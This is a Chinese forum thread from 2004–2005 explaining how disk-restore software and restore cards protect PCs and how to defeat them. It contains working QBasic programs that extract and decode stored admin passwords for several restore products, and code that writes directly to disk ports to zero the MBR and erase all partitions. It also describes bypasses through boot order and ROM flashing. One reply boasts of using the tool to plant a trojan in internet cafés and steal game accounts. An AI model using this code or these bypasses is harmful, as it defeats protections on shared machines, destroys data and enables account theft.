回 帖 发 新 帖 刷新版面

主题:读取还原精灵、还原卡密码的原理与程序制作(2005-9-13更新)

作者:qb45 
作者地址:湖北-枝江
帖子原来是2004-7-20日发布,2005-9-1新增括号里的内容
(我是qb45,很多人很奇怪我为什么叫qb45,因为我只会用qbasic编程,用的是4.5的版本,别的版本不大会用,我的职业是“电工”,我很多的爱好中有个爱好是编程,我是个业余的编程爱好者,我是湖北·枝江的,qq号见编程爱好者论坛里的个人说明!
[url]http://www.programfan.com/club/showbbs.asp?id=82092[/url]
还原精灵与还原卡的工作原理分析:
    还原精灵的工作原理:它修改了引导区,引导区又被称为MBR,它位于硬盘的0头0柱1扇区,在扩展int 13中没有头、柱、扇区这个概念,它只有逻辑扇区,在扩展的int 13中MBR位于是0扇区,如果BIOS中设置的是硬盘启动的话,系统会首先载入这个扇区到内存,然后运行这个代码,还原精灵就是用的是自己的引导代码,这个方法与引导型病毒一样,病毒的目的是破坏,而它的目的是保护,就如武器在坏人手里有破坏力一样,这个代码接管了INT13中断,每当我们向硬盘写入数据时,其实还是写入到硬盘中,可是没有真正修改硬盘中的FAT。由于INT13被接管,当还原精灵发现是写操作,如果没有激活管理身份,便将原先数据目的地址重新指向它自己定义的一段连续的空磁盘空间,并将先前背份的第二份FAT中的被修改的相关数据指向这片空间。当我们读取数据时,和写操作相反。所以还原精灵需要被保护的磁盘上有较大的空闲空间,它就需要利用这段空间!
    另外,用户不可能格式化真正的硬盘,还是因为被接管的INT13,所有对硬盘的操作都要通过INT13。还原卡的原理也和还原精灵软件的方法类似,不做详细解释

如何解除还原精灵与还原卡的保护呢?
   通过分析原理,我们发现保护程序是通过修改中断向量来达到保护硬盘不被真正写入的,其中int13是关键,它拦截了int13的处理程序,将自己的程序挂到上面,这也是无法写进数据的原因所在,有的卡同时还修改了时钟中断来达到反跟踪,它会利用早以被它修改过的时钟中断定时检查中断向量表,它一旦发现修改为别的值.就会一一还原。

   所以我们从编程的角度来看,就有了下面这样一些解决方法(用qbasic在理论上都能使用下面的破解方法!)


     1、既然它拦截了int13的处理程序,将自己的程序挂到上面,那么我们只要把bios的int13的程序地址,在dos下填入中断向量表不就大功告成了,不过对于有的卡不方便用,而且需要你对汇编有一定的基础。最重要的是这个方法用编程的方法来破解很有难度。
     2、破解密码,这个方法比上一个我认为要简单,还原精灵把自己的密码放在0头0柱8扇区的位置,如何知道是这个位置呢?对于硬盘的0头0柱的63个扇区只有1扇区被使用,我们可以写个代码来分析这些扇区是否被改动,在安装还原精灵前,先保存这63个扇区,然后安装,再读取这些扇区与保存的比较,就可以找到存放真正MBR的扇区与存放密码的扇区,然后我们改动一下密码,再比较存放密码的扇区有什么不同,这样通过分析来找出密钥,很多还原卡也是把密码保存在前63个扇区里,不过扇区的位置和密钥不一定都一样,这个是肯定的!
   (凡是密码进行判断肯定有一段代码会把真假密码进行比较,可以使用一些调试工具来破解,如果加密技术不强也可以用什么能查看内存的软件来搜索,这种方法不大适合编程,只适合手动破解!)

相关编程资料:
中断INT13 读硬盘扇区 功能用法 INT 13H,AH=02H 读扇区说明: 
  调用此功能将从磁盘上把一个或更多的扇区内容读进存贮器。因为这是一个 
低级功能,在一个操作中读取的全部扇区必须在同一条磁道上(磁头号和磁道号 
相同)。BIOS不能自动地从一条磁道末尾切换到另一条磁道开始,因此用户必须 
把跨多条磁道的读操作分为若干条单磁道读操作。 
入口参数: 
  AH=02H  指明调用读扇区功能。 
  AL    置要读的扇区数目,不允许使用读磁道末端以外的数值,也不允许 
使该寄存器为0。 
  DL    需要进行读操作的驱动器号。 
  DH    所读磁盘的磁头号。 
  CH    磁道号的低8位数。 
  CL    低5位放入所读起始扇区号,位7-6表示磁道号的高2位。 
  ES:BX   读出数据的缓冲区地址。 
返回参数: 
  如果CF=1,AX中存放出错状态。读出后的数据在ES:BX区域依次排列。 

   经过分析,还原精灵把主引导扇区的内容保存在0头0柱9扇区,把本身的密码保存在0头0柱8扇区偏移4FH的位置,用A5H作为密钥经过XOR运算加密!
要破解还原精灵你可以读密码或者把第9扇区的内容恢复倒MBR,
   注: 还原精灵密码的算法和保存位置都不是我研究的,我只是根据资料写了个QB版本的.
我听说有人愿出5000RMB买这个程序!就是这么几行代码!哈哈,我免费公开!
网络的精神就是自由与共享!


'---------------获得还原精灵密码的原程序-----------------------------
'程序语言:QBasic4.5,WIN98系统的MSDOS方式下运行通过,还原精灵5。0版本!
'启动QB请加参数 QB/L,程序不能在WINXP,win2000,winNt下运行
'程序功能:获得还原精灵密码的程序  作者:湖北-枝江qb45
'$INCLUDE: 'qb.bi'
DIM reg%(9)  
dta$ = SPACE$(512) 
'读硬盘0头0道8扇区的数据
reg%(0) = &H201
reg%(1) = SADD(dta$)
reg%(2) = 8
reg%(3) = &H80
reg%(9) = VARSEG(dta$)
CALL INT86XOLD(&H13, reg%(), reg%())
PRINT "Pass Word = ";
'进行解密输出
FOR i = 1 TO 8
     pass$= CHR$(ASC(MID$(dta$, &H4F + i, 1)) XOR &HA5)
     if pass$=chr$(0) then exit for
     PRINT pass$;
NEXT i

3、INT13实际上是通过BIOS程序提供的标准服务,而BIOS的这个服务是建立在IO读写的基础上的,所以我们也可以直接用IO来读写硬盘,这样就绕过了INT13中断,无论是保护卡还是还原精灵,都形同虚设了,这个方法的难度在于在win系统下要读写IO必须得有ring0级权限!这个问题解决了那么破解就是最轻松的了,qbasic是DOS编程软件,它在DOS下可以读写端口IO,所以用qbasic可以在DOS下很轻松的解决问题,
相关资料:
对硬盘进行操作的常用端口是1f0h到1f7h号端口(一般情况下硬盘用这个端口,如果硬盘接在别的IDE口就不是这个端口号了),各端口含义如下:
端口号     读还是写   具体含义
1F0H       读/写      用来传送读/写的数据(其内容是正在传输的一个字节的数据)
1F1H       读         用来读取错误码
1F2H       读/写      用来放入要读写的扇区数量
1F3H       读/写      用来放入要读写的扇区号码
1F4H       读/写      用来存放读写柱面的低8位字节
1F5H       读/写      用来存放读写柱面的高2位字节(其高6位恒为0)
1F6H       读/写      用来存放要读/写的磁盘号及磁头号
                    第7位     恒为1
                    第6位     恒为0
                    第5位     恒为1
                    第4位     为0代表第一块硬盘、为1代表第二块硬盘
                    第3~0位    用来存放要读/写的磁头号
1f7H       读         用来存放读操作后的状态
                    第7位     控制器忙碌
                    第6位     磁盘驱动器准备好了
                    第5位     写入错误
                    第4位     搜索完成
                    第3位     为1时扇区缓冲区没有准备好
                    第2位     是否正确读取磁盘数据
                    第1位     磁盘每转一周将此位设为1,
                    第0位     之前的命令因发生错误而结束
         写         该位端口为命令端口,用来发出指定命令
                    为50h     格式化磁道
                    为20h     尝试读取扇区
                    为21h     无须验证扇区是否准备好而直接读扇区
                    为22h     尝试读取长扇区(用于早期的硬盘,每扇可能不是512字节,而是128字节到1024之间的值)
                    为23h     无须验证扇区是否准备好而直接读长扇区
                    为30h     尝试写扇区
                    为31h     无须验证扇区是否准备好而直接写扇区
                    为32h     尝试写长扇区
                   为33h     无须验证扇区是否准备好而直接写长扇区
       我给大家一个用端口写硬盘的QBASIC例子,就算你在CMOS设置中关闭硬盘了,本程序照样能写硬盘主引导区,在这个程序运行后可以将MBR(主引导区)清零 ,对一个不懂的人是很危险的,在使用这个代码前请大家三思而行,如果造成数据损失,本人概不负责!
    这段程序可以解决无法分区的怪硬盘,还可以解决因为“还原精灵”死锁的硬盘,而且同样还能修复各种硬盘逻辑锁死锁的硬盘。但是请注意,如果使用这个代码,你的硬盘中的C盘D盘...什么的都没有了,你必须重新分区或者是使用分区恢复工具!
'------------------用qbasic写硬盘的例子-------------
'功能:将硬盘的MBR清0    程序语言:Qbasic    作者:qb45

'申请一个硬盘操作
OUT &H1F6, &HE0 
OUT &H1F2, 1 
OUT &H1F3, 0 
OUT &H1F4, 0 
OUT &H1F5, 0 
OUT &H1F7, &H30 
'等待硬盘空闲
DO WHILE flag% <> &H58 
   flag%= INP(&H1F7) 
   IF INKEY$=CHR$(27) THEN END
LOOP 
w%=0 '要写的直为0
'执行写操作
for i=1 to 256 
    out &h1F0,w% 
next i 
'显示写成功的信息
PRINT "ok!MBR =0"
  对于用端口来写硬盘这个才是解决问题的最好方法,但是这里也有很大的一个难度,你随便写一个扇区很容易,但是你如果是要把一个文件复制到硬盘考虑的事情就很多了,起码你得要熟悉FAT的原理和格式,找到空闲的扇区写入文件内容,然后在FAT中登记簇号.....总之很麻烦,但是如果你把这个东西弄得很清楚的话,做个数据恢复软件也是很轻松的!
  还原精灵如果推出了新版本,你又无法分析密钥的话,只要你先安装一个,然后记下密码,找到密码扇区保存,然后把这个扇区用来写入有保护的硬盘,密码就被改掉了,这个方法就简单多了!


4,绕过还原,
 对于还原精灵,BIOS设置中如果不是硬盘优先启动,它是不起一点作用的!所以在BIOS中设置成软盘等启动系统,然后运行FDISK/MBR就可以达到效果!当然软盘里必须有FDISK这个分区程序.
  对于一部分还原卡,它的本质上更应该是网卡,不过它有BOOTROM启动芯片,所以启动的时候不是先启动硬盘,它里面的程序来起着与还原精灵一样的作用,它的密码保存得有个地方,所以一般来说它也在硬盘里有个密码扇区!不过它也可以把密码放在别的什么地方!
  网卡类型的还原卡(很少见),那么只要进入BIOS设置里把boot from network这项关掉,就应该可以取消还原卡的作用,有的卡用的是FLASH ROM,这个是可以被电檫写的,我们可以下一个网卡ROM搽写程序或者是自己编写一个这样的程序(这个我不会编写,无法提供程序),就象升级BIOS一样来破坏掉还原卡,可以只写一部分,也可以写些垃圾数据,如果知道校验地址,也可以直接清除,效果更好!

希望这些资料能给大家帮助,有和我一样喜欢qbasic的网友,请常到这里来
我的照片与简历
[url]http://www.programfan.com/club/showbbs.asp?id=82092[/url]

回复列表 (共10个回复)

沙发

晕死,老兄啊,你是跟我作对嘛,呵呵,我电脑房里好几台电脑都是用它来保护的啦,呵呵,不过还好我电脑房只装了QB简化版,你这个程序他们运行不了啦,哈哈!

板凳

要是我得话,我就在我得邮箱里放个QB4.5,放个command.com 嘿,看你怎么样...

3 楼

也别在邮箱里放QB4.5,只需要把这些程序编译成EXE就ok了!


下面的代码,我没有运行,因为我没有还原卡,这个是我根据资料写的程序
这几个还原卡密码都是保存在硬盘的扇区中的,不过位置与密钥都不一样,大家可以根据这些自己来分析!
读取 小哨兵/华苏还原卡的密码
'$INCLUDE: 'qb.bi'
DIM reg%(9)
dim suo%(8)
for i=1 to 8
   read r$
   suo%(i)=val("&H"+r$)
next i
dta$ = SPACE$(512)
reg%(0) = &H201
reg%(1) = SADD(dta$)
reg%(2) = 2
reg%(3) = &H80
reg%(9) = VARSEG(dta$)
CALL INT86XOLD(&H13, reg%(), reg%())
PRINT "Pass Word = ";
FOR i = 1 TO 8
     pass$= CHR$(ASC(MID$(dta$, &H40 + i, 1)) XOR suo%(i))
     if pass$=chr$(0) then exit for
     PRINT pass$;
NEXT i
data 3E,28,35,2D,29,29,3B,0A


读取蓝思达还原卡的密码

'$INCLUDE: 'qb.bi'
DIM reg%(9)
dim suo%(8)
for i=1 to 8
   read r$
   suo%(i)=val("&H"+r$)
next i
dta$ = SPACE$(512)
reg%(0) = &H201
reg%(1) = SADD(dta$)
reg%(2) = 3
reg%(3) = &H80
reg%(9) = VARSEG(dta$)
CALL INT86XOLD(&H13, reg%(), reg%())
PRINT "Pass Word = ";
FOR i = 1 TO 8
     pass$= CHR$(ASC(MID$(dta$, &HA + i, 1)) XOR suo%(i))
     if pass$=chr$(0) then exit for
     PRINT pass$;
NEXT i
data F6,F5,F4,F3,F2,F1,F0,EF

4 楼

晕死了!
原来还原精灵的加密算法这么简单啊?
CHR$(ASC(MID$(dta$, &H4F + i, 1)) XOR &HA5)

这也太脆弱了吧?怎么着也得用个哈希算法什么的吧?
唉…………

5 楼

请问:什么是哈希算法?

6 楼

哦,一种加密算法
没记错的话,MD5也属于哈希算法的一个分支。
MD5这么有名的算法听说过吧?
动网论坛都使用这种算法加密用户密码的。
MD5算法是一种单向散列算法,经过加密之后的东西无法解密。
判断密码是否正确的唯一方法是:
用当前字符串加密,然后跟原来纪录的加密结果比较。

7 楼



正好看到这里有MD5加密算法源代码.rar(下载),有兴趣地看看吧[url=http://imdemon.512j.com/bbs/viewthread.php?fpage=1&tid=518]http://imdemon.512j.com/bbs/viewthread.php?fpage=1&tid=518[/url]

8 楼

谢谢你的程序给我带来了很大的帮助~~~``

9 楼

这是个很老的帖子了,已经被新帖子压到很后面去了,
这几天我回顾了一下自己发的一些帖子,
令我没有想到的是这个帖子竟然有6千8百多的点击率,真是“酒香不怕巷子深!

10 楼

谢谢斑竹,这个程序给我很大帮助,不过我可不是学这个垃圾qbasic的!

我玩了几十级的游戏帐号被盗,装备都没有了,我也想装个木马来盗别人的,可惜网吧里都用还原精灵、还原卡等这样的东东,我终于在网上找到你的这个程序,然后我弄了密码装了木马,盗了好些装备!真爽!


我来回复

您尚未登录,请登录后再回复。点此登录或注册